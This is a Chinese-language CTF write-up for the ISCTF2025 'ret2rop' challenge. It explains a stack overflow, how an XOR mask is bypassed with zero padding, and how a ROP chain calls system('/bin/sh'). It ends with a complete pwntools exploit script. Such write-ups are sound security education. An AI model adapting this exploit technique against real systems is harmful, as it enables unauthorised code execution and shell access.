ret2rop

isctf2025ret2rop (3).png

main函数:

isctf2025ret2rop (1).png

vuln函数:

isctf2025ret2rop (2).png

这题没有后门函数但是有system函数,且no pie,no canary,demo函数是给我们gadget的地址的,这里没有pop rdi,但是有pop rsi和mov rdi,rsi,效果一样,我们手动找也可以,核心漏洞点在vuln函数,我们可以看到先输入16字节的名字,然后有一个栈溢出,向frame读入256字节

isctf2025ret2rop (4).png

这里frame是一个结构体

isctf2025ret2rop (5).png

我们直接构造rop链就行了,但是这里还有一个阻碍,就是

 if ( n > 0 )
  {
    for ( i = 0; i < n; ++i )
      frame.buf[i] ^= frame.mask[i];
  }

这里有一个异或操作,n的大小是我们read的字节数,这里用到xor的性质

  • 可逆性 (加密与解密)
    • 如果 A ^ B = C,那么 C ^ B = A
    • 这意味着如果你再次用同一个掩码异或一次,数据就还原了。这就是为什么 XOR 常被用于简单的加密。
  • 恒等性 (Identity Property)
    • 任何数和 0 进行异或,结果还是它自己。
    • 公式A ^ 0 = A
    • 例子
      • 二进制 1010 ^ 0000 = 1010
      • 十六进制 0x41 ^ 0x00 = 0x41

那我们填充时就要全部填充0,这样能防止n和i错乱和我们的rop链因为异或操作错乱,这里不仅mask的32字节要填充0,buf也要,因为mask[32]之后的(mask[33]......)就是buf[0]......,我们的rop链的主干部分小于32字节,所以n的大小不用管(题目没有/bin/sh,所以我们要存入,这里我们正好利用输入name来写入这个字符串),构造rop链就能getshell了

EXP:

p = process('./ret2rop') 
#p = remote('challenge.bluesharkinfo.com',26419)
elf = ELF('./ret2rop')
system = elf.symbols['system']
bin_add = elf.symbols['name'] 
prsi = 0x401a1c 
mov_rdi_rsi = elf.symbols['gadget_mov_rdi_rsi_ret']
rop = ROP(elf)
p.sendlineafter(b"if you want to watch demo", b"no")
p.sendlineafter(b"please int your name", b"/bin/sh\x00")
payload = flat([
    b'A' * 32, #给getRandom吃掉   
    b'\x00' * 88,  
    prsi,   
    bin_add,
    mov_rdi_rsi,   
    system  
])
p.sendafter(b"please introduce yourself", payload)
p.interactive()

题目链接:

CTF-Writeups/ISCTF2025/ret2rop at main · ZenDuk17/CTF-Writeups


ret2rop
http://localhost:8080/archives/wei-ming-ming-wen-zhang-qZiO0Dh0
作者
ZenDuk
发布于
2025年12月11日
许可协议